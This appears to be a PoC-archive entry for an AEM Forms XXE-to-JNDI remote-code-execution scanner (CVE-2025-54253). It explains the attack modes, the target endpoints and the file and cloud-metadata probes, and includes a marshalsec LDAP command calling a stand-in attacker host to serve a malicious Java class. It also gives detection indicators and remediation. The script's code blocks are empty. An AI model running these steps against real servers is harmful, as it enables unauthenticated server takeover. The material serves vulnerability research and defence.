Adobe Experience Manager Forms XXE to JNDI RCE Scanner (CVE-2025-54253)
by Dividesbyzer0 (zoomdbz) · 2026-07-06
- Severity
- Critical
- CVE
- CVE-2025-54253
- Category
- web
- Affected product
- Adobe Experience Manager (AEM) Forms (JEE)
- Affected versions
- Per source repository — configuration-dependent AEM Forms deployments with unsafe XML parsing enabled on form submission endpoints
- Disclosed
- 2026-07-06
- Patch status
- unpatched
References
Archive entry
intelseclab/poc-archiveMetadata
| Field | Value |
|---|---|
| Date Added | 2026-07-06 |
| Last Updated | 2026-07-06 |
| Author / Researcher | Dividesbyzer0 (zoomdbz) |
| CVE / Advisory | CVE-2025-54253 |
| Category | web |
| Severity | Critical |
| CVSS Score | 10.0 (per NVD) |
| Status | Weaponized |
| Tags | adobe, aem, aem-forms, xxe, xml-external-entity, jndi, ldap, rce, python, cve-2025-54254 |
| Related | CVE-2025-54254 (companion XXE file-disclosure bug handled by the same tool) |
Affected Target
| Field | Value |
|---|---|
| Software / System | Adobe Experience Manager (AEM) Forms (JEE) |
| Versions Affected | Per source repository — configuration-dependent AEM Forms deployments with unsafe XML parsing enabled on form submission endpoints |
| Language / Platform | Python 3 (scanner) targeting Java/JEE AEM Forms server endpoints |
| Authentication Required | No |
| Network Access Required | Yes |
Summary
AEM Forms exposes several form-submission endpoints (e.g. /content/forms/af/submit, /services/SubmitForm, /bin/receive, /lc/submit) that parse attacker-supplied XML without disabling external entity resolution. The root cause is an XML parser configured to resolve SYSTEM/parameter entities, letting an unauthenticated attacker read local files, trigger outbound requests, and — via a chained JNDI/LDAP reference — force the JVM to fetch and execute an attacker-hosted Java class. The aempwn.py tool implements three escalating modes: a safe canary/leak-detection probe (--poc), a blind out-of-band XXE confirmation mode that fetches a remote DTD (--oob), and a full RCE mode (--rce) that sends an XXE payload pointing at an attacker LDAP listener to achieve remote code execution via JNDI class loading (the classic marshalsec-style LDAP reference attack). Impact ranges from local file/config disclosure to full remote code execution on the AEM Forms server.
Vulnerability Details
Root Cause
The AEM Forms submission endpoints parse client-supplied XML bodies with an XML parser that has external entity resolution enabled. This lets an attacker declare a DOCTYPE with a SYSTEM entity that the parser dereferences at parse time — either a local file:// URI (disclosure) or a remote URI (SSRF/OOB confirmation), and, when a parameter entity is used to fetch an external DTD referencing a jndi:/ldap: scheme, the AEM/JVM stack resolves the JNDI reference and loads a remote Java class, achieving code execution. Example probe payload from aempwn.py:
| |
Attack Vector
- Attacker sends a canary XML payload to each candidate endpoint to confirm the server reflects/accepts arbitrary XML (
behavior_probe). - Attacker sends XXE probes targeting
/etc/hostname,/etc/passwd,C:\Windows\win.ini, and cloud metadata (169.254.169.254) to confirm local file read and SSRF capability (--pocmode); responses are heuristically classified as real leaks vs. generic error/HTML pages. - For blind confirmation, attacker sends a parameter-entity payload referencing an external DTD hosted on infrastructure they control (
--oob), proving the parser fetches remote resources. - For full RCE (
--rce), attacker points the parameter entity at anldap://URL served by a tool likemarshalsec, which responds with a reference to a remote Java class; the AEM JVM connects to the LDAP listener, fetches the class from an attacker HTTP server, and executes its static initializer (e.g.Runtime.getRuntime().exec(...)).
Impact
An unauthenticated attacker can disclose arbitrary local files and internal network/cloud metadata, and ultimately achieve full remote code execution on the AEM Forms server under the AEM service account, leading to complete compromise of the host.
Environment / Lab Setup
Target: AEM Forms (JEE) instance with an unsafe XML-parsing form endpoint reachable over HTTP(S)
Attacker: Python 3 + requests + colorama (pip install requests colorama)
Optional (for --oob): HTTP server capable of serving an evil.dtd file (attacker-controlled)
Optional (for --rce): LDAP listener serving a JNDI reference (e.g. marshalsec
`java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://ATTACKER/#Exploit" 1389`)
plus an HTTP server hosting the compiled Exploit.class
Proof of Concept
PoC Script
See
aempwn.pyin this folder.
| |
Detection & Indicators of Compromise
POST requests to AEM form endpoints (/content/forms/af/submit, /services/SubmitForm,
/bin/receive, /lc/submit, /lc/content/submit) with Content-Type: application/xml
bodies containing <!DOCTYPE ... SYSTEM|ldap|jndi> declarations
Signs of compromise:
- Inbound XML request bodies containing
<!DOCTYPE,SYSTEM "file://, orSYSTEM "ldap:///jndi:references. - Outbound connections from the AEM server to unfamiliar HTTP or LDAP hosts (port 1389/389 or attacker HTTP ports) immediately following an XML form submission.
- Unexpected classloading or
Runtime.execinvocations in AEM/JVM logs correlating with form submission timestamps. - Presence of small, non-HTML/non-JSON plaintext fragments (e.g. hostnames,
/etc/passwdlines) in HTTP responses from form endpoints.
Remediation
| Action | Detail |
|---|---|
| Primary fix | Apply Adobe’s official security patch for CVE-2025-54253/CVE-2025-54254 and disable external entity/DTD processing (DocumentBuilderFactory.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true) or equivalent) in all XML parsers used by AEM Forms submission handlers. |
| Interim mitigation | Restrict outbound network access from the AEM Forms server (block egress to arbitrary HTTP/LDAP), disable unused form submission endpoints, and front endpoints with a WAF rule blocking <!DOCTYPE / <!ENTITY in request bodies. |
References
Notes
Mirrored from https://github.com/zoomdbz/AEMPWN on 2026-07-06. aempwn.py is a genuine multi-mode (safe-probe/OOB/full) Python scanner sending real XXE payloads against known AEM Forms endpoints; RCE mode requires attacker-controlled LDAP/HTTP infrastructure (e.g. marshalsec) and is not self-contained.
| |